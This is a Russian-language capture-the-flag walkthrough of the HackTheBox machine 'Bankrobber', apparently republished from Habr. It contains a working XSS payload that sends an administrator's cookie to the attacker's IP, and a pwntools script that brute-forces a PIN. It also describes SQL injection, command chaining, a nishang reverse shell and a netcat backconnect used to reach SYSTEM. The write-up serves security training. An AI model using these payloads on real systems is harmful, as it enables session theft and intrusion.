- PVSM.RU - https://www.pvsm.ru -
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox [1]. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье мы угоним куки администратора сайта через XSS, узнаем код с помощью SQL инъекции, получим шелл через форму выполнения команды с помощью XSS и CSRF, прокинем порт из Windows и побрутим PIN легенького приложения перевода средств с помощью pwntools.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram [2] и группу для обсуждения любых вопросов [3] в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем [4].
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Данная машина имеет IP адрес 10.10.10.154, который я добавляю в /etc/hosts.
10.10.10.154 bankrobber.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A bankrobber.htb -p80,443,445,3306
На хосте работают веб сервер и SMB, а также доступна СУБД MySQL. SMB и MySQL ничего нам не дают, поэтому смотрим веб.
Представлен сайт Bitcoin, где мы можем зарегистрироваться.
Давайте зарегистрируемся и войдем. Нам предоставляют форму перевода средств.
Выполнив простой тестовый запрос, получаем сообщение. В нем говорится, что Администратор рассмотрит наш запрос на транзакцию и примет решение.
Это очень большой намек на XSS. Давайте попробует украсть cookie администратора. Сначала развернем локальный HTTP сервер.
Теперь выполним запрос на транзакцию, указав в качестве сообщения следующую JS нагрузку.
<script>new Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>
Таким образом, пытаясь загрузить картинку, скрипт обратится по данному адресу и в качестве параметра пришлет нам куки учетной записи, под которой скрипт был выполнен (в данном случае администратор).
Похоже на base64. Декодируем и получаем логин и пароль администратора.
Логинимся под admin и смотрим, что нового нам доступно. Отправив кавычку в поле поиска пользователя, получаем ошибку — есть инъекция.
Другой сервер просит команду dir.
Но отвечает только localhost.
Вернемся к SQL инъекции.
Определяем количество столбцов и какие из них отображаются.
Таким образом выводятся первый и второй столбец.
Немного посидев, ничего интересного не находим. Давайте перейдем к модулю backdoorchecker. Найдем событие, которое отвечает на нажатие кнопки.
Переходим в консоль браузера и вводим название функции.
Переходим по ссылке на функцию.
И находим куда поступает запрос. Благодаря инъекции, мы можем прочитать файл (с первого раза угадал дефолтный путь xampp).
Таким образом, команда будет выполнена, если в строке будет присутствовать подстрока “dir”. Это позволяет нам отправить цепочку команд. Осталось разобраться с одним, запрос должен поступить от localhost. Вспоминаем про XSS и функцию callSys(), которую мы можем вызвать для отправки запроса. Проверим наше предположение.
Так как команда выполнена, давайте выполним RCE с помощью скрипта Invoke-PowerShellTcp из пакета nishang [5].
Первым делом проводим базовое перечисление системы. Для этого используем winPEAS [6].
Из всего вывода цепляемся за открытый на localhost 910 порт.
Давайте посмотрим, что на нем. Для начала нужно прокинуть порт. Среди всех программ наиболее удобным решением является chisel [7]. Запускаем на локалтном и удаленном хостах.
Теперь подключимся и посмотрим, что там.
Требуется 4-х значный PIN код. Будем перебирать его.
#!/usr/bin/python3
def clear():
sys.stdout.write("33[F")
sys.stdout.write("33[K")
from pwn import *
for numb in range(10000):
PIN = str(numb).rjust(4, '0')
r = remote('127.0.0.1', 910)
print("Find PIN: " + PIN, end="r")
clear()
r.sendafter('[$] ', PIN+"n")
ans = r.recv()
if b"Access denied" in ans:
r.close()
clear()
else:
print("[+] PIN found: " + PIN)
print(str(ans, "utf-8"))
break
r.interactive()
Находим PIN код и нас просят ввести сумму транзакции. Делаем это и ничего не происходит.
Сумма передается в программу, запущенную от имени администратора. Ничего не находя более, передаем в качестве суммы строку из 100 символов.
И мы видим как строка запуска программы изменилась на часть нашей строки. Проверим с какого индекса это произошло.
Таким образом, если передадим строку с названием и другой программы, она выполнится. Давайте проверим.
И предположение верно. Для начала загрузим netcat.
И теперь выполним бэкконнект.
Получаем привилегии SYSTEM.
Вы можете присоединиться к нам в Telegram [2]. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов
Источник [8]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/python/348997
Ссылки в тексте:
[1] HackTheBox: https://www.hackthebox.eu
[2] канал в Telegram: https://t.me/RalfHackerChannel
[3] группу для обсуждения любых вопросов: https://t.me/RalfHackerPublicChat
[4] рассмотрю лично и отвечу всем: https://t.me/hackerralf8
[5] nishang: https://github.com/samratashok/nishang
[6] winPEAS: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
[7] chisel: https://github.com/jpillora/chisel
[8] Источник: https://habr.com/ru/post/491586/?utm_source=habrahabr&utm_medium=rss&utm_campaign=491586
Нажмите здесь для печати.